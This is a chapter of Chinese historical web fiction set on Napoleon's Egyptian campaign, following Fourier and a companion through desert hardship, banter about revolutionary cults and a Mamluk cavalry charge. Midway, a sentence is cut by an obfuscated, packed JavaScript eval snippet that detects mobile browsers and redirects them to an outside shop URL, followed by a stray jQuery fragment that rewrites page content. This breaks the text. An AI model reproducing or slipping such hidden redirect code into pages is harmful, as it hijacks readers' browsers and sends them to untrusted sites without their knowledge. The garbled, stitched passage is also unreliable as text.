如果上帝不存在,那也必须把他发明出来。——《给一位匿名作者的书信》伏尔泰
“亚诺,我觉得我要死在沙漠里了。”
“不要说这种胡话。”
傅里叶躲在草席的阴庇下,半天才说:“要是有一天我被那群强盗抓走,谁能救我?”
“傅里叶,我在这呢,至少能保证你不会被抓走的。”
“别吧,朋友,我怕你被他们砍成残废。”
“不会的。”
亲眼目睹掉队的人被贝都因人掠走、索要赎金不成后,不幸的俘虏被贝都因人残忍虐杀,残缺的尸体特意抛在部队行军路上示众。傅里叶一看到血淋淋的尸体就陷入了极度忧郁。他不敢指责拒绝支付赎金的将军,也没法埋怨授业提携的老师,只敢躲在草席下诉苦哀叹。
“……亚诺,我有点想哭。”
“别哭,哭了就口渴了。”
傅里叶听着想笑,更深重的悲哀又让他笑不出来,躺着越发有气无力,也不知道下一个瞬间究竟是渴死、还是被晒死、亦或是被贝都因人杀死。
亚诺早已习惯了鲜血与突如其来的死亡,贝都因人固然迅捷可怕,也不是真的无敌。他们很会挑选猎物,就像雄鹰更倾向于抓捕孱弱的幼崽。军队并非没有战斗力,只是士兵在烈日下负重行走、或推着炮车,又干渴疲惫,来不及对呼啸掠来的骑兵快速做出反应。
最糟的仍然是水,很难补充到足量淡水。尽管有德赛的师作为开路先锋,清理了一部分被马穆鲁克骑兵有意堵塞的水井,但还是有一部分水井被扔了动物尸体,腐臭的尸体泡在浑浊的水里几乎无法饮用。就算碰上能用的水井,等待分配往往漫长且焦灼,能分到的水也相当少,焦渴的士兵怨声载道,渴望回家,诅咒埃及,诅咒酷热的天气,诅咒沙漠上引人焦渴的光幻觉,诅咒无能的督政府。
亚诺不记得自己在荒野中支撑了多长时间,傅里叶也没力气写日记了,只会划格子,告诉亚诺今天是获月二十二日,他们已经走了三天,却好像熬过了三年一样漫长。
“真是太好了。”亚诺突然想讲个冷笑话,“如果今天晒死了说不定能升到理性天堂。”
傅里叶有气无力地笑了声,补充道:“其实在理性女神的神殿里没有来世,也没有天堂。倒是那位不可腐蚀者的至高存在理论里有讲过灵魂不灭——要真按那个说法,我们只能继续在埃及晒太阳。”
“那我还是更愿意信仰理性女神。”
“好吧,我也愿意信仰理性女神。”
另一位学者凑过来:“怎么不信仰上帝?”
亚诺答道:“这里是真主的领地,我怕他们会打起来。”
“难道理性女神和至高存在就很乐意跟真主打架吗?!”
亚诺想了想:“理性女神应该会要求大家先坐下来演讲三小时。”
“不对不对。”一位年轻的学生也过来凑热闹,“如果真的打起来,恐怕只有至高存在能和真主较量。因为罗伯斯庇尔砍了肖梅特的脑袋,所以至高存在比理性女神强。”
亚诺顺着继续推论:“热月党人砍了罗伯斯庇尔脑袋,可是热月党人没有塑造新神,所以热月党比至高存在强。”
“还是不对。”傅里叶说,“砍肖梅特和罗伯斯庇尔脑袋的都是断头台,说不定有一天,断头台也会砍热月党人的脑袋。”傅里叶突然激动起来,仿佛发现了什么了不起的数学定义,“综上所述,断头台之神最强!我们应该派出断头台之神对战真主!”
“断头台之神比上帝还强?”
是蒙日过来了,傅里叶立刻严肃起来,老老实实:“日安,老师。”
蒙日没有生气,反而微笑着说:“如果断头台真是一位神,那它至少是一位非常公正的神,因此它对所有人的脖子一视同仁。”
众人忍不住哈哈大笑起来,笑声驱散了对前方的恐惧与担忧。紧接着,蒙日从包里掏出不大不小的甜瓜:“聊了那么多,吃这个解解渴吧。”
众人欢呼起来,忙着找刀分瓜,亚诺直接拿出自己的匕首开瓜,一人一块,吃完瓜就舒服多了。
获月二十四日,豆荚日。亚诺想自己永远忘不了这一天。在煎熬的苦行中,在传令官竭尽全力地传告说集结地已经不远时,怀揣最后的希望翻过一座山丘,突然看到了尼罗河!碧波荡漾、被高大的椰树与茂盛灌木包围的尼罗河!
全军欢呼着冲向大河,跳进河水痛饮。亚诺也渴得要死,但老师和伊玛目的劝告让他选择理智,看似清澈的尼罗河水不可直饮,本地人要么打深井用水,要么集水后放在陶罐里沉淀。更何况先头部队都跳进河里狂欢纵饮,淤泥与沉渣因此涌动浮起,大片河水都变得浑浊不堪,看着就难以下咽。
在亚诺忙着准备收集干净饮水的时候,傅里叶又亲眼目睹了一场悲剧:有人喝水喝得太急活活呛死在尼罗河里。等他的战友发现情况不对时,那人已经脸朝下地漂在水面上,他的战友吃力地将衣物吸足了水的尸体拖上岸,打算找地方掩埋。
到底有多少人死于可怕的酷暑与痛饮河水后的窒息?没人去统计具体的数目,傅里叶庆幸自己终于活下来了,亚诺喝了水只想休息,然而休息不过一晚,集合起来的法军就继续南下,向开罗前进。
“昨天我们驻扎的地方叫哈马尼耶。”傅里叶看着地图说,“现在这里是舒卜拉希特,我们已经到马穆鲁克的地盘了,随时都可能跟他们打起来。”
“嗯,到开阔地带,马穆鲁克应该占不到什么便宜。”
“真的吗?可是我听说,马穆鲁克的骑兵就像沙尘暴一样,他们不怕死亡,顶着炮火也敢冲锋。”
“还有火枪打不死的骑兵?”
“如果他们冲到面前了呢?那我们的士兵根本来不及再次开枪,总不能在地面跟骑在马上的人拼刀吧?”
“相信拿破仑吧,他不会犯这种错误的。”
傅里叶闻言愣了下,一副欲言又止的表情,亚诺看他表情那么奇怪,也愣一下:哪里说的不对吗?
“我的朋友。”傅里叶鬼鬼祟祟地瞄了左右一眼,“你是不是跟波拿巴将军很熟?”
亚诺一时语塞,含糊搪塞:“以前认识。”
联想到之前窥探到的秘密,傅里叶的想象力开始飞跃:“你们是打算让将军加入你们的秘密组织吗?”
“好了,好了,别说了。”亚诺赶紧用削好的甜瓜堵他的嘴,“我刚削出来的你快吃吧。”
傅里叶的甜瓜刚吃到一半,远处尘土飞扬,亚诺警觉地拍拍傅里叶肩膀:“快点吃你的瓜,前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693706|205412||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面好像有情况。”
“嗯,有什么情况?”傅里叶嚼着瓜想站上车眺望,传令兵疾速跑过来大吼:“趴下!立刻趴下!马穆鲁克骑兵来袭!士兵们,动起来!集结阵地防卫!”
傅里叶叼着瓜连滚带爬钻进车底下,士兵集结将辎重车围在中心,向外举枪,军官在阵前指挥:“Présentez armes !”
远方响起一阵噼里啪啦的枪声,这么快就跟先头部队交火了吗?
傅里叶探出个脑袋想看看马穆鲁克骑兵长什么样——被人墙挡得几乎看不到。他三口两口吃完瓜,找角度上透过士兵之间的缝隙向外看,这下终于看到了马穆鲁克骑兵,虽然只能看到马。
马穆鲁克骑兵的马装饰得相当华丽夺目,马头戴着华丽的金属装饰,跑动起来一片灿烂明亮的金属反光,马鞍似乎更加华丽,隐约可见马鞍绣着彩色的图案,垂坠长长的流苏穗子,骏马奔驰时穗带飘动得相当漂亮。
真奢侈啊!难道是马穆鲁克的贵族亲自来冲锋陷阵吗?!
傅里叶有些惊奇,再努力张望,敌方在快速逼近,终于能看到骑在马上的骑兵了。骑兵裹着白头巾,上身衣服色彩鲜艳,手上握着一条长长的……木棍?长枪?还没等傅里叶看清楚,马穆鲁克骑兵们已经奋力将手中的“长棍”投掷过来,傅里叶吓得赶紧低头。
标枪从头顶呼啸而过,幸好,只有少部分标枪伤到了人,围绕辎重车的大部分士兵依旧稳稳举着枪,傅里叶放心地再探出头,马穆鲁克骑兵已经没有第二把标枪了——骑兵之后好像还有人在拼命奔跑——这是什么战术?
骑兵越冲越近,他拔出一把明晃晃的锋利弯刀,看到弯刀,傅里叶一下回忆起穿越沙漠时被贝都因人袭扰的恐怖记忆。
军官再次下令:“En joue!”
不过这次,马穆鲁克骑兵要面对的不再是疲惫不堪的法军,而是休息过后、已经结阵的法军方阵,军官大吼一声:“Feu!”
枪声大作,硝烟涌起,声音密集震耳欲聋。傅里叶死死捂住耳朵,依然抵挡不住马被击中后凄厉的嘶鸣。
后续冲上来的骑兵踏着战友的死亡靠近,弯刀折射的弧光如新月升临,从方阵上空一掠而过。骑兵从正面冲到方阵侧面,围着防御方阵打转,时而靠近时而远离,试图强行撞开一个缺口,又被法军斜起的刺刀刺伤逼退。在法军后备军完成第二轮弹药充填后,举枪再次齐射,如是再准备第三轮、第四轮……直到方阵四周尸体开始堆积,马穆鲁克骑兵们终于转头就逃,带起烟尘滚滚。
危机似乎暂时解除了,傅里叶从车底爬出,被抛弃的马躺在地上颤抖,伤口泵出满地鲜血,浸透色彩缤纷的马鞍织物。傅里叶看得于心不忍,撇过头不想再看。
“战斗结束了吗?”他问军官。
“暂时的,我们还没到开罗呢。”
士兵们打扫战场,带着兴奋与好奇地拖下马穆鲁克骑兵的尸体,凑近观察才看出这些骑兵的装束有多夸张华丽,手枪的手柄镶嵌金银图像或象牙,经过精心雕刻与打磨;一些骑兵佩戴的腰刀刀柄上还镶嵌了宝石,这些最漂亮的战利品往往被军官缴走。而骑兵身上那些小的胸针物件、刺绣的丝绸腰带、完整的马鞍等等值钱东西则很快被士兵们瓜分干净。